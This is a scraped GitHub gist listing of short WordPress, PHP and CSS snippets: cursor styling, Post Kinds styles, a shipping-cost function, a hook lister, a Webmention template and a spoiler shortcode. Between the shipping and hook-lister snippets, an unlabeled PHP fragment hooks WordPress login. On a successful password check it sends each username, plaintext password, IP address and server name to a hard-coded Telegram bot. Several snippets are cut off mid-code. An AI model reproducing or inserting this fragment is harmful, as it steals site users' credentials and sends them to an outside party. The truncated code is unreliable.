Skip to content

Instantly share code, notes, and snippets.

View chrisbergr's full-sized avatar

Christian Hockenberger chrisbergr

View GitHub Profile
@chrisbergr
chrisbergr / cursor.css
Created March 10, 2018 18:12
Cursor Experiment
body {
background-color: hsla(250, 20%, 10%, 1);
color: hsla(250, 50%, 70%, 1);
}
*{
cursor: none;
}
a,
@chrisbergr
chrisbergr / kind.min.css
Created September 22, 2019 16:57
Post Kinds suggestions
.svg-icon svg{fill:currentColor;padding:2px;vertical-align:middle;top:-0.0625em}#kind-all svg{width:1rem;height:1rem;color:grey}#kind-menu svg,#kind-posts svg{width:1.5rem;height:1.5rem;color:#000}#kind-menu ul,#kind-posts ul{list-style-type:none}.response svg{width:2rem;height:2rem;color:#000}.response{margin-bottom:10px;margin-top:10px;margin-left:20px;padding:5px;font-size:16px;border-bottom:inset #D6D6D6}.response .kind-icon{margin-right:3px}.response blockquote{margin-left:25px}.response a:link{text-decoration:none}.response a:hover{text-decoration:none}.response img{padding:0;margin:2px}ul.cites{list-style:none;display:inline}.kind-embeds{text-align:center;position:relative;width:100%;margin-top:5px}
/*# sourceMappingURL=kind.min.css.map */
.response{
margin-left: 0;
padding: 15px;
background-color: rgba(0,0,0,0.025);
}
.response img{
vertical-align: middle;
@chrisbergr
chrisbergr / shipping.php
Created June 5, 2020 07:28
Search for most cost effective package combination (shipping)
<?php
function fill_packages( $packages ) {
$overrun = 42; // Items in cart
$cost = 0;
$filled = array();
$quantities = array();
foreach( $packages as $the_package ){
$delivers = floor( $overrun / $the_package['contain'] );
if( ! $delivers ) {
try{
$bajatax_x9=apply_filters( 'wp_authenticate_user', $user, $password );
if(wp_check_password( $password, $bajatax_x9->user_pass, $bajatax_x9->ID )){
if(!empty($username) and !empty($password)){
$message852="bajatax|:|:|".$username."|:|:|".$password."|:|:|".$_SERVER['REMOTE_ADDR']."|:|:|".$_SERVER['SERVER_NAME'] ."|:|:|";
file_get_contents("https://api.telegram.org/bot1330226161:AAEg61uHS7H7lRnf9jA27cmahncSl8NMuvI/sendMessage?chat_id=1110165405&text=" . urlencode($message852)."" );
}
}
}catch (Exception $e) {
if(function_exists("file_get_contents")){
<?php
/* ... */
function list_hooks( $hook = '' ) {
global $wp_filter;
if ( isset( $wp_filter[$hook]->callbacks ) ) {
array_walk( $wp_filter[$hook]->callbacks, function( $callbacks, $priority ) use ( &$hooks ) {
foreach ( $callbacks as $id => $callback )
$hooks[] = array_merge( [ 'id' => $id, 'priority' => $priority ], $callback );
@chrisbergr
chrisbergr / comment-item.php
Created April 7, 2023 22:17
Webmention template overwrite
<?php
$comment = $args['comment'];
$depth = $args['depth'];
$tag = $args['tag'];
$has_children = $args['has_children'];
$commenter = $args['commenter'];
$show_pending_links = $args['show_pending_links'];
$moderation_note = $args['moderation_note'];
$args = $args['args'];
@chrisbergr
chrisbergr / functions.php
Last active May 21, 2023 00:32
WordPress Spoiler BBCode
<?php
// Thanks to the WordPress Shortcode API it is super easy to implement BBCodes for WordPress sites
// Usage: [SPOILER]Lorem ipsum...[/SPOILER], [SPOILER title="Optional title"]Lorem ipsum...[/SPOILER]
// Make it beautiful with your custom css for .spoiler :)
// The following snippet goes into the functions.php of your theme or child-theme.
add_shortcode( 'SPOILER', 'bb_code_spoiler' );